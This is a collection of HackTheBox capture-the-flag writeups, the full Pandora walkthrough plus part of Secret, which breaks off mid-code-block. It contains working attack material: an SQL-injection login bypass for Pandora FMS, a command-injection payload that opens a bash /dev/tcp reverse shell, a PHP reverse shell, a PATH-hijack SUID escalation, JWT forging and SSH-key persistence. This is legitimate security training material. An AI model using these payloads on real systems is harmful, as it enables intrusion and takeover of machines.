# README

> HHousen's writeups to various [HackTheBox](https://hackthebox.com) machines and challenges.

## What is HackTheBox?

"Hack The Box is an online platform allowing you to test your penetration testing skills and exchange ideas and methodologies with thousands of people in the security field." - [hackthebox.com](https://hackthebox.com)

"**Machines/Boxes** are instances of vulnerable virtual machines. These are virtualized services, virtualized operating systems, and virtualized hardware. Boxes can host different Operating Systems; Linux, Windows, FreeBSD, and more."

"**Challenges** are bite-sized applications for different pentesting techniques." They are similar to traditional CTF-style tasks.

More info about the structure of HackTheBox can be found on the [HTB knowledge base](https://help.hackthebox.com/en/articles/5185158-gs-introduction-to-hack-the-box).

## Machines

1. [9th May 2020 - OpenAdmin (Easy)](/machines/openadmin) (0 points)
2. [2nd December 2020 - Doctor (Easy)](/machines/doctor) (0 points)
3. [13th February 2022 - Horizontall (Easy)](/machines/horizontall) (0 points)
4. [14th February 2022 - Paper (Easy)](/machines/paper) (10+20 points)
5. [17th February 2022 - Secret (Easy)](/machines/secret) (10+20 points)
6. [18th February 2022 - Devzat (Medium)](/machines/secret) (15+30 points)
7. [20th February 2022 - Driver (Easy)](/machines/driver) (10+20 points)
8. [21st February 2022 - Backdoor (Easy)](/machines/backdoor) (10+20 points)
9. [23rd February 2022 - Pandora (Easy)](/machines/pandora) (10+20 points)
10. [25th February 2022 - Shibboleth (Medium)](/machines/shibboleth) (15+30 points)
11. [26th February 2022 - Meta (Medium)](/machines/meta) (15+30 points)
12. [28th February 2022 - AdmirerToo (Hard)](/machines/admirertoo) (20+40 points)
13. [1st March 2022 - RouterSpace (Easy)](/machines/routerspace) (10+20 points)
14. [24th July 2022 - Timelapse (Easy)](/machines/timelapse) (10+20 points)
15. [25th July 2022 - Noter (Medium)](/machines/noter) (15+30 points)
16. [26th July 2022 - Talkative (Hard)](https://github.com/HHousen/hack-the-box/blob/master/Machines/Talkative/README.md) (20+40 points)
17. [27th July 2022 - OpenSource (Easy)](/machines/opensource) (10+20 points)
18. [28th July 2022 - Faculty (Medium)](/machines/faculty) (15+30 points)
19. [29th July 2022 - StreamIO (Medium)](/machines/streamio) (15+30 points)
20. [31st July 2022 - Carpediem (Hard)](/machines/carpediem) (20+40 points)
21. [1st August 2022 - RedPanda (Easy)](/machines/redpanda) (10+20 points)
22. [2nd August 2022 - Support (Easy)](/machines/support) (10+20 points)
23. [3rd August 2022 - Shared (Medium)](/machines/shared) (15+30 points)
24. [4th August 2022 - Scrambled (Medium)](/machines/scrambled) (15+30 points)
25. [5th August 2022 - Retired (Medium)](/machines/retired) (15+30 points)
26. [6th August 2022 - Trick (Easy)](/machines/trick) (10+20 points)
27. [7th August 2022 - Hathor (Insane)](/machines/hathor) (25+50 points)

### Older Undated Writeups

#### Old Starting Point Writeups

1. [Archetype](/old-starting-point-writeups/archetype)
2. [Oopsie](/old-starting-point-writeups/oopsie)
3. [Shield](/old-starting-point-writeups/shield)
4. [Vaccine](/old-starting-point-writeups/vaccine)

#### Old Machine Writeups

1. [Bashed](/old-machine-writeups/bashed)
2. [Blue](/old-machine-writeups/blue)
3. [Devel](/old-machine-writeups/devel)
4. [Grandpa](/old-machine-writeups/grandpa)
5. [Jerry](/old-machine-writeups/jerry)
6. [Lame](/old-machine-writeups/lame)
7. [Legacy](/old-machine-writeups/legacy)
8. [Netmon](/old-machine-writeups/netmon)
9. [Nibbles](/old-machine-writeups/nibbles)
10. [Optimum](/old-machine-writeups/optimum)

## Challenges

1. [15th February 2022 - Templated](/challenges/templated) (20 points)
2. [15th February 2022 - Under Construction](/challenges/templated) (30 points)


# Pandora

## Enumeration

### Nmap

First, let's scan for open ports using `nmap`. We can quickly scan for open ports and store them in a variable: `ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.136 | grep "^[0-9]" | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)`. Then, we can scan those specific ports in depth by running `nmap`'s built-in scripts: `nmap -p$ports -sC -sV 10.10.11.136`.

```
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 24:c2:95:a5:c3:0b:3f:f3:17:3c:68:d7:af:2b:53:38 (RSA)
|   256 b1:41:77:99:46:9a:6c:5d:d2:98:2f:c0:32:9a:ce:03 (ECDSA)
|_  256 e7:36:43:3b:a9:47:8a:19:01:58:b2:bc:89:f6:51:08 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Play | Landing
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

Scan for UDP services with `sudo nmap -p- -sU -r -T5 10.10.11.136 -v` (`-r` specifies that ports will be scanned sequentially instead of randomly. we do this because services are more likely to be running on ports 1-1000.):

```
Scanning pandora.htb (10.10.11.136) [65535 ports]
Warning: 10.10.11.136 giving up on port because retransmission cap hit (2).
Discovered open port 161/udp on 10.10.11.136
Increasing send delay for 10.10.11.136 from 0 to 50 due to 11 out of 19 dropped probes since last increase.
UDP Scan Timing: About 0.86% done
```

So, port `161/udp` is open.

### Apache (Port `80`)

Let's brute force directories with `ffuf -w /usr/share/seclists/Discovery/Web-Content/big.txt -u http://10.10.11.136/FUZZ`:

```
.htaccess               [Status: 403, Size: 277, Words: 20, Lines: 10]
.htpasswd               [Status: 403, Size: 277, Words: 20, Lines: 10]
assets                  [Status: 301, Size: 313, Words: 20, Lines: 10]
server-status           [Status: 403, Size: 277, Words: 20, Lines: 10]
```

This doesn't find anything useful. Using the larger `/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt` wordlist also doesn't find anything useful.

The site mentions `panda.htb`, so we'll add that to our `/etc/hosts` file with `echo "10.10.11.136 panda.htb" | sudo tee -a /etc/hosts`. Trying to find other possible virtual hosts with `ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -u http://panda.htb -H "Host: FUZZ.panda.htb" -fl 908` for both `panda.htb` and `pandora.htb` does not yield any results.

### SNMP (UDP Port `161`)

Let's scan port `161/udp` individually with `nmap` by running `sudo nmap -p161 -sU -T5 -sC -sV 10.10.11.136 > nmap_port161udp_scan.txt`: [nmap\_port161udp\_scan.txt](https://github.com/HHousen/hack-the-box/blob/master/Machines/Pandora/nmap_port161udp_scan.txt). This scan is quite large, which is why we pipe it into a file.

#### Learning about SNMP

The scan shows that we're dealing with Simple Network Management Protocol (SNMP), which "is a protocol used to monitor different devices in the network (like routers, switches, printers, IoTs...)" ([quote from HackTricks](https://book.hacktricks.xyz/pentesting/pentesting-snmp#snmp-explained)). According to HackTricks, "MIB stands for Management Information Base and is a collection of information organized hierarchically. These are accessed using a protocol such as SNMP... OIDs stands for Object Identifiers. OIDs uniquely identify managed objects in a MIB hierarchy." You can read the [HackTricks page on SNMP](https://book.hacktricks.xyz/pentesting/pentesting-snmp) for more information.

In order to access the information saved on the MIB, we need to know the community string in version 1 of SNMP. This acts as a sort of password but it is sent in plain text. By default, SNMP's read only functions use the community string `public`.

To enumerate SNMP, we’ll use `snmpwalk`. `snmpwalk` attempts to walk through all of the available MIBs and retrieve the information. "Before running our `snmpwalk` command, we should install `snmp-mibs-downloader`. This package will install all of the MIB files that aren’t included by default due to licensing issues" ([quote from epi052.gitlab.io](https://epi052.gitlab.io/notes-to-self/blog/2018-11-24-hack-the-box-mischief/)). We will run `sudo apt-get install snmp-mibs-downloader; sudo download-mibs` to get the MIB files.

According to [i052.gitlab.io](https://epi052.gitlab.io/notes-to-self/blog/2018-11-24-hack-the-box-mischief/), "after installing the package, we need to comment out the `mibs :` line in `/etc/snmp/snmp.conf`. Doing this configures snmp to use the freshly downloaded MIBs."

Finally, we can enumerate SNMP with `snmpwalk -Os -c public -v 1 10.10.11.136`. This will output a lot of data, so redirecting to a file is recommended: [complete\_snmpwalk\_output.txt](https://github.com/HHousen/hack-the-box/blob/master/Machines/Pandora/complete_snmpwalk_output.txt).

## Foothold

Anyway, the piece of information we are looking for is contained in both the `snmpwalk` output and the `nmap` output because we used `-sC` to run scripts (specifically the `snmp-processes` nmap script was run). Looking at process id `855` in either script's output shows `/bin/sh` being ran withe parameters `-c sleep 30; /bin/bash -c '/usr/bin/host_check -u daniel -p HotelBabylon23'`:

```
|   855: 
|     Name: sh
|     Path: /bin/sh
|     Params: -c sleep 30; /bin/bash -c '/usr/bin/host_check -u daniel -p HotelBabylon23'
```

Running `ssh daniel@pandora.htb` and using `HotelBabylon23` as the password to login works.

Running `cat /etc/passwd` shows that the user with id `1000` is `matt`. The `user.txt` flag is in `matt`'s home folder, which we can see by running `ls /home/matt`.

## Lateral Movement

We login over SSH to the `daniel` user with `pwncat` by running `pwncat-cs daniel@pandora.htb`.

Let's check out the process that was being run that gave us the login information. Running the same command `/usr/bin/host_check -u daniel -p HotelBabylon23` produces:

```
PandoraFMS host check utility
Now attempting to check PandoraFMS registered hosts.
Files will be saved to ~/.host_check
```

`cat ~/.host_check`:

```
1;localhost.localdomain;192.168.1.42;Created by localhost.localdomain;Linux;;09fbaa6fdf35afd44f8266676e4872f299c1d3cbb9846fbe944772d913fcfc69;3
2;localhost.localdomain;;Pandora FMS Server version 7.0NG.742_FIX_PERL2020;Linux;;localhost.localdomain;3
```

Looks like there is a service running on `localhost.localdomain`. Let's see what it is with `curl localhost.localdomain`, which shows `<meta HTTP-EQUIV="REFRESH" content="0; url=/pandora_console/">`. Running `curl localhost.localdomain/pandora_console/` displays a whole website. Running `(netstat -punta || ss --ntpu) | grep "127.0"` to list open local ports doesn't show anything out of the ordinary so this web sever must be running as a different user:

```
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -
udp        0      0 127.0.0.1:56972         127.0.0.53:53           ESTABLISHED -
udp        0      0 127.0.0.53:53           0.0.0.0:*                           -
```

So, let's check out `/var/www/` since we know this machine is using Apache due to our first `nmap` scan. There are two folders in `/var/www/`: `html`, which contains the original website we accessed on port `80`, and `pandora`, which contains the new site we found running locally.

Listing the contents of this directory with `ls -la pandora_console/` shows a lot of files owned by `matt`

```
total 1596
drwxr-xr-x 16 matt matt    4096 Dec  7 14:32 .
drwxr-xr-x  3 matt matt    4096 Dec  7 14:32 ..
-rw-r--r--  1 matt matt    3746 Jan  3  2020 ajax.php
drwxr-xr-x  6 matt matt    4096 Dec  7 14:32 attachment
-rw-r--r--  1 matt matt    1175 Jun 17  2021 audit.log
-rw-r--r--  1 matt matt     534 Jan  3  2020 AUTHORS
-rw-r--r--  1 matt matt     585 Jan  3  2020 composer.json
-rw-r--r--  1 matt matt   16003 Jan  3  2020 composer.lock
-rw-r--r--  1 matt matt   14875 May 17  2019 COPYING
-rw-r--r--  1 matt matt     506 Jan  3  2020 DB_Dockerfile
drwxr-xr-x  2 matt matt    4096 Dec  7 14:32 DEBIAN
-rw-r--r--  1 matt matt    3366 Jan  3  2020 docker_entrypoint.sh
-rw-r--r--  1 matt matt    1263 Jan  3  2020 Dockerfile
drwxr-xr-x 11 matt matt    4096 Dec  7 14:32 extensions
drwxr-xr-x  4 matt matt    4096 Dec  7 14:32 extras
drwxr-xr-x  2 matt matt    4096 Dec  7 14:32 fonts
drwxr-xr-x  5 matt matt    4096 Dec  7 14:32 general
drwxr-xr-x 20 matt matt    4096 Dec  7 14:32 godmode
drwxr-xr-x 21 matt matt   36864 Dec  7 14:32 images
drwxr-xr-x 21 matt matt    4096 Dec  7 14:32 include
-rw-r--r--  1 matt matt   52704 Dec  2 12:06 index.php
-rw-r--r--  1 matt matt   42398 Jan  3  2020 install.done
drwxr-xr-x  5 matt matt    4096 Dec  7 14:32 mobile
drwxr-xr-x 15 matt matt    4096 Dec  7 14:32 operation
-rw-r--r--  1 matt matt    1302 Feb 22 02:52 pandora_console.log
-rw-r--r--  1 matt matt     234 May 17  2019 pandora_console_logrotate_centos
-rw-r--r--  1 matt matt     171 May 17  2019 pandora_console_logrotate_suse
-rw-r--r--  1 matt matt     222 May 17  2019 pandora_console_logrotate_ubuntu
-rw-r--r--  1 matt matt    4883 May 17  2019 pandora_console_upgrade
-rw-r--r--  1 matt matt 1168598 Jan  3  2020 pandoradb_data.sql
-rw-r--r--  1 matt matt  160283 Jan  3  2020 pandoradb.sql
-rw-r--r--  1 matt matt     476 Jan  3  2020 pandora_websocket_engine.service
drwxr-xr-x  3 matt matt    4096 Dec  7 14:32 tests
drwxr-xr-x  2 matt matt    4096 Dec  7 14:32 tools
drwxr-xr-x 11 matt matt    4096 Dec  7 14:32 vendor
-rw-r--r--  1 matt matt    4856 Jan  3  2020 ws.php
```

So, the new web server is running under `matt`'s user so this is almost certainly our lateral movement vector.

Running `cat /etc/apache2/sites-enabled/pandora.conf` to look at the Apache confiuration for this site shows that it is indeed running under the `matt` user:

```
<VirtualHost localhost:80>
  ServerAdmin admin@panda.htb
  ServerName pandora.panda.htb
  DocumentRoot /var/www/pandora
  AssignUserID matt matt
  <Directory /var/www/pandora>
    AllowOverride All
  </Directory>
  ErrorLog /var/log/apache2/error.log
  CustomLog /var/log/apache2/access.log combined
</VirtualHost>
```

This file also lets us know that it is running locally on port `80`. So, let's forward that to our attack machine with `ssh -L 8080:localhost:80 daniel@pandora.htb`. Now, navigating to `http://localhost:8080/pandora_console/` brings us to a login page.

Trying to authenticate using the only set of credentials we have `daniel:HotelBabylon23` results in a message appearing that says "User only can use the API."

It looks like [PandoraFMS](https://pandorafms.com/) is a legit product. Searching for the version string at the bottom of the page finds [CVE-2020-5844](https://nvd.nist.gov/vuln/detail/CVE-2020-5844), but it looks like this requires us to be an "authenticated administrator," which we are not. We also find [the metasploit module pandora\_fms\_events\_exec](https://www.rapid7.com/db/modules/exploit/linux/http/pandora_fms_events_exec/). However, " Valid credentials for a Pandora FMS account are required."

Searching for "pandora fms 742 exploit" finds [Pandora FMS 742: Critical Code Vulnerabilities Explained](https://blog.sonarsource.com/pandora-fms-742-critical-code-vulnerabilities-explained), which mentions a SQL Injection pre authentication exploit (CVE-2021-32099): "Our focus is on a severe SQL injection vulnerability. It can be remotely exploited without any access privileges and enables an attacker to completely bypass the administrator authentication. This enables in the end to execute arbitrary code on the system." [CVE-2021-32099](https://nvd.nist.gov/vuln/detail/CVE-2021-32099) is "a SQL injection vulnerability in the pandora\_console component of Artica Pandora FMS 742 allows an unauthenticated attacker to upgrade his unprivileged session via the /include/chart\_generator.php session\_id parameter, leading to a login bypass."

Searching for CVE-2021-32099 finds [ibnuuby/CVE-2021-32099](https://github.com/ibnuuby/CVE-2021-32099), which contains a proof of concept:

```
POC : http://localhost:8000/pandora_console/include/chart_generator.php?session_id=a%27%20UNION%20SELECT%20%27a%27,1,%27id_usuario|s:5:%22admin%22;%27%20as%20data%20FROM%20tsessions_php%20WHERE%20%271%27=%271
```

We can change the port from the proof of concept from `8000` to `8080` since that is what we are using. Now, going to `http://localhost:8080/pandora_console/include/chart_generator.php?session_id=a%27%20UNION%20SELECT%20%27a%27,1,%27id_usuario|s:5:%22admin%22;%27%20as%20data%20FROM%20tsessions_php%20WHERE%20%271%27=%271` in your browser and then navigating back to `http://localhost:8080/pandora_console/` will log you into PandoraFMS as an administrator. A video of this happening can be seen on the blog post linked from the repo: [Pandora FMS 742: Critical Code Vulnerabilities Explained](https://blog.sonarsource.com/pandora-fms-742-critical-code-vulnerabilities-explained).

Clicking on `admin` in the top right brings you to a page where you can edit your user's details. I changed the password to `admin` and then clicked "Update" at the bottom.

Now that we have the credentials to an account, let's try some of the previous exploits we found. For metasploit, run the following:

```
sudo msfconsole
use exploit/linux/http/pandora_fms_events_exec
set password admin
set rport 8080
set rhosts localhost
set lhost tun0
set autocheck false
run
```

This exploit fails. The exploit `linux/http/pandora_ping_cmd_exec` also fails even after I created a new user in the interface. [This exploit-db script](https://www.exploit-db.com/exploits/48064) fails as well. Also, [TheCyberGeek/CVE-2020-5844](https://github.com/TheCyberGeek/CVE-2020-5844) fails too. TheCyberGeek's script probably is supposed to work since he is one of the creators of this box. Additionally, after solving the box, I found this repo: [shyam0904a/Pandora\_v7.0NG.742\_exploit\_unauthenticated](https://github.com/shyam0904a/Pandora_v7.0NG.742_exploit_unauthenticated). So, this exploit might also work.

Since we are an administrator we can upload files by going to `Admin tools > File manager` on the left. So, lets get a PHP reverse shell with `wget https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php`, edit in our ip address and port, start a listener with `nc -nvlp 28600` and then go to `http://localhost:8080/pandora_console/images/php-reverse-shell.php` on the server to get a reverse shell. This is successful!

We can get persistance with `run implant.authorized_key key=/home/kali/.ssh/id_rsa` in `pwncat`. I set the permissions of the `.ssh` folder to be what they should be with `chmod 700 .ssh && chmod 600 .ssh/authorized_keys`.

We can finally run `cat /home/matt/user.txt` to get the `user.txt` flag.

## Privilege Escalation

First, we connect with `pwncat-cs matt@pandora.htb --identity /home/kali/.ssh/id_rsa` for a stable shell. I use `pwncat` and upload LinPEAS with `upload linpeas.sh` then run it with `bash linpeas.sh`.

In the LinPEAS output we see:

```
Readable files belonging to root and readable by me but not world readable
-rwsr-x--- 1 root matt 16816 Dec  3 15:58 /usr/bin/pandora_backup
-rw-r----- 1 root matt 33 Feb 22 02:52 /home/matt/user.txt
```

Running `ls -la /usr/bin/pandora_backup` shows that this is a SUID binary. Running the actual `/usr/bin/pandora_backup` script appears to create a `tar` archive of the `/var/www/pandora/pandora_console/` directory.

We can run `download /usr/bin/pandora_backup` to download it to our local machine with `pwncat` since the target machine does not have the `strings` command.

Running `strings pandora_backup` shows `tar -cvf /root/.backup/pandora-backup.tar.gz /var/www/pandora/pandora_console/*` in the output. So, it looks like it is just running the `tar` binary from a relative path. We can create a new file called `tar` in our home directory that simply runs `/bin/bash` with `mkdir ~/bin; echo "/bin/bash" > ~/bin/tar`. Set the new "tar" file to executable with `chmod +x ~/bin/tar`. Now, we can add that to our path ahead of any other directory with `export PATH=/home/matt/bin:$PATH`. Now, we can run the SUID binary again: `/usr/bin/pandora_backup`.

Finally, we run `cat /root/root.txt` to get the `root.txt` flag.

We can get persistance as root with `run implant.authorized_key key=/home/kali/.ssh/id_rsa` in `pwncat`.


# Secret

## Enumeration

### Nmap

First, let's scan for open ports using `nmap`. We can quickly scan for open ports and store them in a variable: `ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.120 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)`. Then, we can scan those specific ports in depth by running `nmap`'s built-in scripts: `nmap -p$ports -sC -sV 10.10.11.120`.

```
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 97:af:61:44:10:89:b9:53:f0:80:3f:d7:19:b1:e2:9c (RSA)
|   256 95:ed:65:8d:cd:08:2b:55:dd:17:51:31:1e:3e:18:12 (ECDSA)
|_  256 33:7b:c1:71:d3:33:0f:92:4e:83:5a:1f:52:02:93:5e (ED25519)
80/tcp   open  http    nginx 1.18.0 (Ubuntu)
|_http-title: DUMB Docs
|_http-server-header: nginx/1.18.0 (Ubuntu)
3000/tcp open  http    Node.js (Express middleware)
|_http-title: DUMB Docs
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

### Nginx (DUMB Docs)

Clicking "Download Source Code" on the main page downloads a `files.zip` containing a Node.js Express application. Clicking on any of the 6 sections highlighted on the main page links to some documentation for the downloaded/running application.

We copy the documentation and run the following to create a user:

```
curl --header "Content-Type: application/json" \
  --request POST \
  --data '{"name": "dan1977", "email": "dan@google.com", "password": "password"}' \
  http://10.10.11.120/api/user/register
```

Output: `{"user":"dan1977"}`

Let's sign in with the user we just created:

```
curl --header "Content-Type: application/json" \
  --request POST \
  --data '{"email": "dan@google.com", "password": "password"}' \
  http://10.10.11.120/api/user/login 
```

Output: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MjBkZDU4NzIwMWExZDA0NWQyMGU5YTQiLCJuYW1lIjoiZGFuMTk3NyIsImVtYWlsIjoiZGFuQGdvb2dsZS5jb20iLCJpYXQiOjE2NDUwNzM4MzF9.hlZPd6A33IjeRfBx8Qh_WNgI1y5-8R9FIoZbfg7Bd5g`

The documentation says we can use this auth token to access `/api/priv` and see our account type.

```
curl http://10.10.11.120/api/priv --header "auth-token:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MjBkZDU4NzIwMWExZDA0NWQyMGU5YTQiLCJuYW1lIjoiZGFuMTk3NyIsImVtYWlsIjoiZGFuQGdvb2dsZS5jb20iLCJpYXQiOjE2NDUwNzM4MzF9.hlZPd6A33IjeRfBx8Qh_WNgI1y5-8R9FIoZbfg7Bd5g"
```

Output: `{"role":{"role":"you are normal user","desc":"dan1977"}}`

### Source Code

Let's explore the source code we downloaded and extracted from `files.zip`.

If we look in the `local-web/routes/private.js` file, we see this function:

```js
router.get('/logs', verifytoken, (req, res) => {
    const file = req.query.file;
    const userinfo = { name: req.user }
    const name = userinfo.name.name;
    
    if (name == 'theadmin'){
        const getLogs = `git log --oneline ${file}`;
        exec(getLogs, (err , output) =>{
            if(err){
                res.status(500).send(err);
                return
            }
            res.json(output);
        })
    }
    else{
        res.json({
            role: {
                role: "you are normal user",
                desc: userinfo.name.name
            }
        })
    }
})
```

So, if we are able to get access to the account with username `theadmin` we can use the `/api/logs` endpoint to perform a command injection. Performing a GET request to `/api/logs` will use node.js's `exec` to run `git log --oneline [OUR INPUT]`. Therefore, we can send a request to `http://10.10.11.120/api/logs?file=.;[OUR COMMAND]` to run arbitrary commands.

The aforementioned `/api/logs` endpoint uses the `verifytoken` function from `local-web/routes/verifytoken.js`:

```js
module.exports = function (req, res, next) {
    const token = req.header("auth-token");
    if (!token) return res.status(401).send("Access Denied");

    try {
        const verified = jwt.verify(token, process.env.TOKEN_SECRET);
        req.user = verified;
        next();
    } catch (err) {
        res.status(400).send("Invalid Token");
    }
};
```

So, the `username` is contained in a JWT. Therefore, we need to find out the value of the `process.env.TOKEN_SECRET` so we can modify the `username` and change it to `theadmin`.

### Git Repository

The folder we downloaded with the code is also a git repo (there is a `.git` folder). We can run `git log` to see what commits have been made:

```
commit e297a2797a5f62b6011654cf6fb6ccb6712d2d5b
Author: dasithsv <dasithsv@gmail.com>
Date:   Thu Sep 9 00:03:27 2021 +0530

    now we can view logs from server 😃

commit 67d8da7a0e53d8fadeb6b36396d86cdcd4f6ec78
Author: dasithsv <dasithsv@gmail.com>
Date:   Fri Sep 3 11:30:17 2021 +0530

    removed .env for security reasons

commit de0a46b5107a2f4d26e348303e76d85ae4870934
Author: dasithsv <dasithsv@gmail.com>
Date:   Fri Sep 3 11:29:19 2021 +0530

    added /downloads

commit 4e5547295cfe456d8ca7005cb823e1101fd1f9cb
Author: dasithsv <dasithsv@gmail.com>
Date:   Fri Sep 3 11:27:35 2021 +0530

    removed swap

commit 3a367e735ee76569664bf7754eaaade7c735d702
Author: dasithsv <dasithsv@gmail.com>
Date:   Fri Sep 3 11:26:39 2021 +0530

    added downloads

commit 55fe756a29268f9b4e786ae468952ca4a8df1bd8
Author: dasithsv <dasithsv@gmail.com>
Date:   Fri Sep 3 11:25:52 2021 +0530

    first commit
```

Commit `67d8da7a0e53d8fadeb6b36396d86cdcd4f6ec78` has the message message `removed .env for security reasons`, which is interesting since the `.env` file looks like this:

```
DB_CONNECT = 'mongodb://127.0.0.1:27017/auth-web'
TOKEN_SECRET = secret
```

This old commit might have the `TOKEN_SECRET`, which would enable us to sign a modified JWT and change our username to `theadmin`.

Try `git checkout de0a46b5107a2f4d26e348303e76d85ae4870934` (which is the commit right before the `.env` file was removed).

Now, the `.env` file contains the `TOKEN_SECRET`:

```
DB_CONNECT = 'mongodb://127.0.0.1:27017/auth-web'
TOKEN_SECRET = gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE
```

So, now we can sign the JWT with the `name` field changed to `theadmin`.

### Foothold

We can use [JWT.io](https://jwt.io) to get a new token: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MjBkZDU4NzIwMWExZDA0NWQyMGU5YTQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6ImRhbkBnb29nbGUuY29tIiwiaWF0IjoxNjQ1MDczODMxfQ.OcsMCcyhgjPB36m6enq6lSGzbRD82z9Hn5OdrBFJ8Rc`.

Now, let's see if we are admin with `curl http://10.10.11.120/api/priv --header "auth-token:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MjBkZDU4NzIwMWExZDA0NWQyMGU5YTQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6ImRhbkBnb29nbGUuY29tIiwiaWF0IjoxNjQ1MDczODMxfQ.OcsMCcyhgjPB36m6enq6lSGzbRD82z9Hn5OdrBFJ8Rc"`, which returns `{"creds":{"role":"admin","username":"theadmin","desc":"welcome back admin"}}`. So, we are now admin.

Let's try out the command injection we found with the `/api/logs` endpoint: `curl --header "auth-token:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MjBkZDU4NzIwMWExZDA0NWQyMGU5YTQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6ImRhbkBnb29nbGUuY29tIiwiaWF0IjoxNjQ1MDczODMxfQ.OcsMCcyhgjPB36m6enq6lSGzbRD82z9Hn5OdrBFJ8Rc" "http://10.10.11.120/api/logs?file=;whoami"` returns `"80bf34c fixed typos 🎉\n0c75212 now we can view logs from server 😃\nab3e953 Added the codes\ndasith\n"`.

The `dasith` is the output of our `whoami` command, so it looks like everything worked as expected.

We can get `user.txt` flag with `curl --header "auth-token:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MjBkZDU4NzIwMWExZDA0NWQyMGU5YTQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6ImRhbkBnb29nbGUuY29tIiwiaWF0IjoxNjQ1MDczODMxfQ.OcsMCcyhgjPB36m6enq6lSGzbRD82z9Hn5OdrBFJ8Rc" "http://10.10.11.120/api/logs?file=.;cat%20../user.txt"` (the `%20` is a URL encoded space).

Let's get a reverse shell. We can use the standard bash reverse shell: `bash -c 'bash -i >& /dev/tcp/10.10.14.55/48253 0>&1'`. Let's also organize our `curl` command using `--data-urlencode`, which will automatically take care of the spaces in our payload. We must also specify `-G` so that `curl` knows to make a GET request. We can start a listener with `pwncat-cs -lp 48253`. Then we can run the final exploit command, which is is `curl -G --header "auth-token:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MjBkZDU4NzIwMWExZDA0NWQyMGU5YTQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6ImRhbkBnb29nbGUuY29tIiwiaWF0IjoxNjQ1MDczODMxfQ.OcsMCcyhgjPB36m6enq6lSGzbRD82z9Hn5OdrBFJ8Rc" "http://10.10.11.120/api/logs" --data-urlencode "file=;bash -c 'bash -i >& /dev/tcp/10.10.14.55/48253 0>&1'"`.

This command pops the shell and the command will eventually return this output `{"killed":false,"code":1,"signal":null,"cmd":"git log --oneline ;bash -c 'bash -i >& /dev/tcp/10.10.14.55/48253 0>&1'"}`, but the reverse shell will stay active.

## Lateral Movement

Then, we can get persistance with `pwncat` by running `run implant.authorized_key key=/home/kali/.ssh/id_rsa`. Now, we should be able to reconnect with `pwncat-cs dasith@10.10.11.120 --identity /home/kali/.ssh/id_rsa`, but this doesn't work. I set the permissions of the `.ssh` folder to be what they should be with `chmod 700 .ssh && chmod 600 .ssh/authorized_keys`, which fixed the issue.

Upload LinPEAS with `upload linpeas.sh` then run with `bash linpeas.sh`.

LinPEAS immediately tells us that the version of `sudo` installed is vulnerable to `CVE-2021-4034` and `CVE-2021-3560`. For more information about these exploits see my [Paper](/machines/paper) and [Horizontall](/machines/horizontall) writeups. Let's try `CVE-2021-4034`. `CVE-2021-4034` is a [very recent exploit](https://access.redhat.com/security/cve/CVE-2021-4034) ([disclosed to public on January 25th, 2022](https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034)). Downloading [berdav/CVE-2021-4034](https://github.com/berdav/CVE-2021-4034) as a ZIP file, copying the file over, unzipping it, running `make` in the directory, and then executing `./cve-2021-4034` gets us a root shell.

We can now run `cat /root/root.txt` to get the root flag. However, `CVE-2021-4034` was probably not the intended solution since this box was published before that exploit was found.

For fun, let's see if `CVE-2021-3560` would also work: The [secnigma/CVE-2021-3560-Polkit-Privilege-Esclation](https://github.com/secnigma/CVE-2021-3560-Polkit-Privilege-Esclation) repo seems to work the best at the time of writing. [Download the script](https://raw.githubusercontent.com/secnigma/CVE-2021-3560-Polkit-Privilege-Esclation/main/poc.sh), upload it to the target machine, and then run it like so: `./poc.sh -u=john -p=john`. This fails with the error `Accounts service and Gnome-Control-Center NOT found!!`, so it looks like `CVE-2021-3560` won't work.

## Privilege Escalation

Now, on to the expected exploit. Looking over the LinPEAS output, the `SUID` section shows the following:

```
-rwsr-xr-x 1 root root 18K Oct  7 10:03 /opt/count (Unknown SUID binary)
```

`/opt/count` is a SUID binary that is not normal on linux machines. This is almost certainly our privilege escalation vector.

If we investigated `/opt` we find a `code.c` file with the source code to the `count` `SUID` binary:

```
#include <stdio.h>
